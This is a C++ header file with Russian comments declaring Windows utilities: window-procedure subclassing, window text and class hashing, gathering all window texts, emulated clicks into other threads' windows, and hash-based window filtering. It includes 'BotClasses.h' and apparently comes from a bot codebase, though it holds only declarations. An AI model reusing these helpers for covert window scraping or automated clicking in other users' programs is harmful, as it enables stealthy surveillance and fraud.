//---------------------------------------------------------------------------

#ifndef WndUtilsH
#define WndUtilsH
//---------------------------------------------------------------------------

#include <windows.h>
#include "BotClasses.h"

//*************************************************************************
// Subclassing - методы организации механизма сабкласинга (подмены оконной
//				 процедуры)
//*************************************************************************

// Список окон которым подменили оконную процедуру
typedef PList WNDPROCLIST;

//  Информация о подменённой процедуре
typedef struct TWndProcInfo
{
	HWND    Window;       // Окно для которого была произведена подмена
	bool    IsUnicode;    // Признак UNICODE окна
	WNDPROC OriginalProc; // Оригинальная процедура

} *PWndProcInfo;



namespace SubClassing
{
	//--------------------------------------------------------------
	//  CreateList - функция создаёт список хранения информации
	//               о подмененых процедурах.
	//               Функция является простой оболочкой для
	//--------------------------------------------------------------
	WNDPROCLIST CreateList();

	//--------------------------------------------------------------
	//  SetWindowProc -  Функция подменяет оконную процедуру
	//
	//  List  - Список, куда сохранится результат подмены в случае
	//			успешной подмены
	//
	//  Wnd - Окно для которого необходимо произвести подмену
	//
	//  NewProc - Новая оконная процедура
	//
	//  Результат: В случае успеха функция вернёт указатель на
	//             структуру с сохранёнными данными
	//--------------------------------------------------------------
	PWndProcInfo SetWindowProc(WNDPROCLIST List, HWND Wnd, WNDPROC NewProc);


	//--------------------------------------------------------------
	//  RestoreWndProc - Функция восстанавливает оригинальную
	//					 оконную процедуру
	//
	//  List - список произведённых подмен
	//
	//  Wnd - Окно которому необхопроцедурудимо восстановить
	//--------------------------------------------------------------
	void RestoreWndProc(WNDPROCLIST List, HWND Wnd);

	//--------------------------------------------------------------
	//  CallOriginalProc - Функция вызывает ориганальную оконную
	//                     процедуру
	//--------------------------------------------------------------
	LRESULT CallOriginalProc(WNDPROCLIST List, HWND Wnd, UINT Msg, WPARAM WParam, LPARAM LParam);
}



//--------------------------------------------------------------
//  AllocateWND - Функция создаёт окно
//--------------------------------------------------------------
HWND AllocateWND(WNDPROC WndProc);

//--------------------------------------------------------------
//  GetWNDText - Функция возвращает текст окна
//--------------------------------------------------------------
PCHAR  GetWndText(HWND Wnd);
string GetWndText2(HWND Wnd);

//--------------------------------------------------------------
//  GetWndClassName - Функция возвращает имя класса окна
//--------------------------------------------------------------
PCHAR GetWndClassName(HWND Wnd);
string GetWndClassName2(HWND Wnd);


//Возвращает хеш заголовка окна
DWORD GetWndTextHash(HWND Wnd, bool LowerChar = false);

//Возвращает хеш класса окна
DWORD GetWndClassHash(HWND Wnd, bool LowerChar = false);


//---------------------------------------------------
//  SameWndTextToHashArray
//  Функция проверяет надпись окна на предмет
//  соответствия надписям из списка хэшей
//  Последний элемент массива должен быть нулевым
//---------------------------------------------------
bool SameWndTextWithHashArray(HWND Wnd, const DWORD* TextHashArray, bool LowerCase);



//--------------------------------------------------------------
//  GetAllWindowsText - Функция собирает все тексты окон в
//                      одну строку
//
//  AddClass - Добавлять имена классов
//
//  AddText - Добавлять тексты окон
//--------------------------------------------------------------
PCHAR GetAllWindowsText(HWND Wnd, bool AddClass, bool AddText);



//--------------------------------------------------------------
//  ClickToWindow - Функция эмулирует клик по окну
//
//  X, Y - координаты клика (зарезервировано)
//--------------------------------------------------------------
bool ClickToWindow(HWND Wnd, int X, int Y);
//кликает мышей по окну, если мы в другом потоке
bool HardClickToWindow( HWND wnd, int x, int y );
bool inline ClickToWindow(HWND Wnd) {return ClickToWindow(Wnd, -1, -1);}


//--------------------------------------------------------------
// SetWindowTransparent - Функция устанавливает прозрачность окна
//--------------------------------------------------------------
void SetWindowTransparent(HWND Wnd, BYTE Transparent);




//*************************************************************************
// WNDFILTER - Методы отбора окон по заданным параметрам
//*************************************************************************
typedef struct TWndFilter
{
	PCHAR ClassName;       // Класс окна
	PCHAR Text;            // Текст окна
	bool  IsParentWnd;     // Фильтр указывает на родительское окно.
	DWORD MaxLevel;        // Максимальный уровень вложения при поиске родительских окон
	bool  CaseSensetive;   // Фильтр чувствителен к регистру
	TWndFilter *ParentWnd; // Фильтр родительского окна. Если указан, то
						   // после удовлетворения окна условиям фильтра будет
						   // проверено родительское окно по заданному фильтру

} *PWndFilter;

namespace WNDFILTER
{
	//----------------------------------------------------------
	//  Create -  Создать фильтр
	//----------------------------------------------------------
	PWndFilter Create(PCHAR ClassName, PCHAR Text, bool IsParentWnd, DWORD MaxLevel);

	//----------------------------------------------------------
	//  Free -  Уничтожить фильтр
	//----------------------------------------------------------
	void Free(PWndFilter Filter);

	//----------------------------------------------------------
	//  Filtrate -  Функция проверяет удовлетворяет ли окно
	//			    заданному фильтру
	//----------------------------------------------------------
    bool Filtrate(HWND Wnd, PWndFilter Filter);
}


//---------------------------------------------------------------------------
//Ищет дочернее окно по массиву хешей-классов окон, если в ParentWnd есть
//дочернее окно с хешом-класса Hashes[0], то следущее дочернее окно ищем в этом найденном и т. д.
//до тех пор пока в массиве хешей не будет 0, возвращаем последнее найдненное окно 
HWND FindWndByClassHashArray(HWND ParentWnd, DWORD* Hashes, bool CaseSensetive);



//----------------------------------------------------------
//  GetTopParentWindow - Функция возвращает верхнее роди-
//                       льское окно
//----------------------------------------------------------
HWND GetTopParentWindow(HWND Wnd);



#endif
